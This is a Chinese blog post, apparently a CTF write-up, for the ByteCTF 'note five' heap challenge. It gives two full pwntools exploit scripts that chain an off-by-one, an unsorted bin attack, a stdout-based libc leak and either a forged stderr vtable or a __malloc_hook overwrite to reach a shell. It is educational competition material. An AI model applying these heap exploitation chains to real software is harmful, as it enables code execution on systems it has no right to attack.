Bytectf note five多种解法复现

3 篇文章 0 订阅

阅读大佬的wp后复现了一下本题的多种解法

题目分析

  • 本题是一道菜单题,只有new、edit和delete功能,没有show功能。不存在UAF。

  • edit所用的输入函数存在Off-By-One漏洞
    在这里插入图片描述

  • chunk 的大小限制在 0x8f ~ 0x400

解题思路1(exp见文末)

利用Off-By-One漏洞构造Overlapping,构造块的bk 为global_max_fast -0x10unsorted bin attack 修改global_max_fast;利用 stdout-0x51处的 0xff 作为 chunk 的 size,fast bin attack_IO_2_1_stdout_附近分配chunk,修改_IO_write_base中的值,使它指向想要泄露的地址(stdout+0x20),泄露libc;伪造 stderr ,最终触发 IO_flush_all来 getshell。

此处只细讲泄露libc base后伪造stderr的部分,前面部分请看exp的注释。

伪造_IO_FILE需要满足的条件如下,满足其一即可:
在这里插入图片描述
一般条件1较容易构造,但因为分配的块位于stdout-0x41,可以同时控制_IO_2_1_stderr_vtablewide_data,所以可以构造条件2。

  • stderr 本身满足 fp->_vtable_offset == 0,不用改
  • 构造mode fp->_mode > 0_wide_data (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))
fake_file=''
fake_file+='0'
fake_file+=p64(libc_base+libc.symbols['_IO_2_1_stdout_']-0x40)#fp->_wide_data
fake_file+=p64(0)
fake_file+=p64(0)
fake_file+=p64(0)
fake_file+=p64(0x1)#fp->_mode > 0 
fake_file+=p64(0x0)
fake_file+=p64(0x0)
fake_file+=p64(vtable_address) #fp->vtable

构造的_IO_2_1_stderr_如下

构造的fd->_wide_data
构造的fd->_wide_data

  • 最后构造vtable,vtable->_IO_OVERFLOW为one_gadget
fake_file=''
fake_file+='0'
fake_file+=p64(libc_base+libc.symbols['_IO_2_1_stdout_']-0x40)
fake_file+=p64(0)
fake_file+=p64(0)
fake_file+=p64(0)#stderr->vtable->dummy nobody care |
fake_file+=p64(0x1)#stderr->vtable->dummy2 nobody care |
fake_file+=p64(0x0)#stderr->vtable->finish nobody care |
fake_file+=p64(one_gadget)#stderr->vtable->_IO_OVERFLOW getshell|
fake_file+=p64(libc_base+libc.symbols['_IO_2_1_stdout_']-0x28) #stderr->vtable

解题思路2(exp见文末)

泄露libc的方法和解题思路1一样,不再赘述;泄露libc后改malloc_hookone_gadget,但malloc_hook低地址处可用的size除了0x7f,最近的只有位于__malloc_hook-0x1a1的0xff,不过可以通过构造两次chunk,第1个chunk写入1个size提供给第2个chunk,最终控制malloc_hook。
在这里插入图片描述
构造第1个chunk:先free掉overlap的那块,改fd为0xff所在的地址,再malloc两次即可,然后在适当的位置(我选择的__malloc_hook'-0xb8)填入size(0xf1)

delete(1)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p64(libc.symbols['__malloc_hook']-0x1a1)
edit(0,content0)

new(2,0xf0-8)
new(3,0xf0-8)#fake chunk 1
fake_size=''
fake_size+='\x00'*(0xf0-0x10+1)
fake_size+=p64(0xf1)
edit(3,fake_size)

构造第2块还是先把overlap的那块free掉,把fd改为第一块构造size的地址__malloc_hook'-0xb8,再malloc两次。另外直接改malloc_hook的话rax和栈都不满足要求,加上realloc+13的偏移后rsp+0x30是0(耶)。

delete(2)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p64(libc.symbols['__malloc_hook']-0xb8)
edit(0,content0)

new(1,0xf0-8)
new(1,0xf0-8)#fake chunk 2
fake_mh=''
fake_mh+='\x00'*(0xa0)
fake_mh+=p64(one_gadget)
fake_mh+=p64(libc.symbols['realloc']+13)
edit(1,fake_mh)

本文所用exp

exp1
#-*- coding:utf-8 -*-
from pwn import *
debug=1
context.log_level = 'debug'
if debug:
	io = process('./note_five')
else:
	client=remote("112.126.103.195",9999)
elf = ELF('./note_five')
libc = ELF('./libc.so')

def new(idx,size):
	io.recvuntil('choice>> ')
	io.sendline('1')
	io.recvuntil('idx: ')
	io.sendline(str(idx))
	io.recvuntil('size: ')
	io.sendline(str(size))

def edit(idx,content):
	io.recvuntil('choice>> ')
	io.sendline('2')
	io.recvuntil('idx: ')
	io.sendline(str(idx))
	io.recvuntil('content: ')
	io.sendline(content)

def delete(idx):
	io.recvuntil('choice>> ')
	io.sendline('3')
	io.recvuntil('idx: ')
	io.sendline(str(idx))

#overlapping
new(4,0xf0-8)
new(0,0xf0-8)
new(1,0xa0-8)
new(2,0xf0-8)
new(3,0xf0-8)

content0=''
content0+='0'*(0xf0-8)
content0+='\xa1'
edit(0,content0)
delete(0)

content1=''
content1+='1'*(152-8)
content1+=p64(0xf0+0xa0)
content1+='\xf0'
edit(1,content1)

content2=''
content2+=p64(0xf1)*20
edit(2,content2)

content3=''
content3+='3'*(0xf0-8)
edit(3,content3)

delete(2)#free (012) to unsorted bin

new(0,0xf0+0xa0+0xf0-8)#malloc (012)
content0=''
content0+='0'*(0xf0-8)
content0+='\xa1'
edit(0,content0)

content1=''
content1+='1'*(0xa0-8)
content1+='\xf1'
edit(1,content1)

delete(1)#free 1 to unsorted bin


#guess offset
guess_offset = 3#1/16
global_max_fast = (guess_offset << 12) | 0x7f8
stdout = global_max_fast-0x11d8

#unsorted bin attack to change global_max_fast
content0=''
content0+='0'*(0xf0-8)
content0+=p64(0xa1)
content0+=p64(0x0)#fd
content0+=p16(global_max_fast-0x10)#bk
edit(0,content0)
new(1,0xa0-8)#global_max_fast


content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
edit(0,content0)

#fast bin attack change the stdout leak libcbase
delete(1)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p16(stdout-0x51)
edit(0,content0)

new(4,0xf0-8)
new(4,0xf0-8)

fake=''
fake+='0'*0x41
fake+=p64(0xfbad1800)#stdout->flags
fake+=p64(0x0)*3
fake+=p16(stdout+0x20)#stdout->_IO_write_base
edit(4,fake)

libc.address = u64(io.recv(8))-0x3c5640

one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=libc.address+one_gadgets[2]

#change the stderr to 
fake_file=''
fake_file+='0'
fake_file+=p64(libc.symbols['_IO_2_1_stdout_']-0x40)
fake_file+=p64(0)
fake_file+=p64(0)
fake_file+=p64(0)#stderr->vtable->dummy nobody care |
fake_file+=p64(0x1)#stderr->vtable->dummy2 nobody care |
fake_file+=p64(0x0)#stderr->vtable->finish nobody care |
fake_file+=p64(one_gadget)#stderr->vtable->_IO_OVERFLOW getshell|
fake_file+=p64(libc.symbols['_IO_2_1_stdout_']-0x28) #stderr->vtable
edit(4,fake_file)

#getshell
io.recvuntil('choice>> ')
io.sendline('4')#IO_flush_all to _IO_OVERFLOW to onegadget

io.interactive()
exp2
#-*- coding:utf-8 -*-
from pwn import *
debug=1
context.log_level = 'debug'
if debug:
	io = process('./note_five.dms')
else:
	client=remote("112.126.103.195",9999)
elf = ELF('./note_five.dms')
libc = ELF('./libc.so')

def new(idx,size):
	io.recvuntil('choice>> ')
	io.sendline('1')
	io.recvuntil('idx: ')
	io.sendline(str(idx))
	io.recvuntil('size: ')
	io.sendline(str(size))

def edit(idx,content):
	io.recvuntil('choice>> ')
	io.sendline('2')
	io.recvuntil('idx: ')
	io.sendline(str(idx))
	io.recvuntil('content: ')
	io.sendline(content)

def delete(idx):
	io.recvuntil('choice>> ')
	io.sendline('3')
	io.recvuntil('idx: ')
	io.sendline(str(idx))

#overlapping
new(4,0xf0-8)
new(0,0xf0-8)
new(1,0xa0-8)
new(2,0xf0-8)
new(3,0xf0-8)

content0=''
content0+='0'*(0xf0-8)
content0+='\xa1'
edit(0,content0)
delete(0)

content1=''
content1+='1'*(152-8)
content1+=p64(0xf0+0xa0)
content1+='\xf0'
edit(1,content1)

content2=''
content2+=p64(0xf1)*20
edit(2,content2)

content3=''
content3+='3'*(0xf0-8)
edit(3,content3)

delete(2)#free (012) to unsorted bin

new(0,0xf0+0xa0+0xf0-8)#malloc (012)
content0=''
content0+='0'*(0xf0-8)
content0+='\xa1'
edit(0,content0)

content1=''
content1+='1'*(0xa0-8)
content1+='\xf1'
edit(1,content1)

delete(1)#free 1 to unsorted bin


#guess offset
guess_offset = 3#1/16
global_max_fast = (guess_offset << 12) | 0x7f8
stdout = global_max_fast-0x11d8

#unsorted bin attack to change global_max_fast
content0=''
content0+='0'*(0xf0-8)
content0+=p64(0xa1)
content0+=p64(0x0)#fd
content0+=p16(global_max_fast-0x10)#bk
edit(0,content0)
new(1,0xa0-8)#global_max_fast


content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
edit(0,content0)

#fast bin attack change the stdout leak libcbase
delete(1)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p16(stdout-0x51)
edit(0,content0)

new(1,0xf0-8)
new(4,0xf0-8)

fake=''
fake+='0'*0x41
fake+=p64(0xfbad1800)#stdout->flags
fake+=p64(0x0)*3
fake+=p16(stdout+0x20)#stdout->_IO_write_base
edit(4,fake)

libc.address = u64(io.recvuntil('info')[0:8])-0x3c5640

one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]#rax 30 50 70
one_gadget=libc.address+one_gadgets[1]

#change malloc_hook
delete(1)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p64(libc.symbols['__malloc_hook']-0x1a1)
edit(0,content0)

new(2,0xf0-8)
new(3,0xf0-8)#fake chunk 1
fake_size=''
fake_size+='\x00'*(0xf0-0x10+1)
fake_size+=p64(0xf1)
edit(3,fake_size)

delete(2)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p64(libc.symbols['__malloc_hook']-0xb8)
edit(0,content0)

new(1,0xf0-8)
new(1,0xf0-8)#fake chunk 2
fake_mh=''
fake_mh+='\x00'*(0xa0)
fake_mh+=p64(one_gadget)
fake_mh+=p64(libc.symbols['realloc']+13)
edit(1,fake_mh)

#getshell
new(4,1000)

io.interactive()
  • 0
    点赞
  • 0
    收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
©️2022 CSDN 皮肤主题:编程工作室 设计师:CSDN官方博客 返回首页
评论

打赏作者

Q1IQ

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值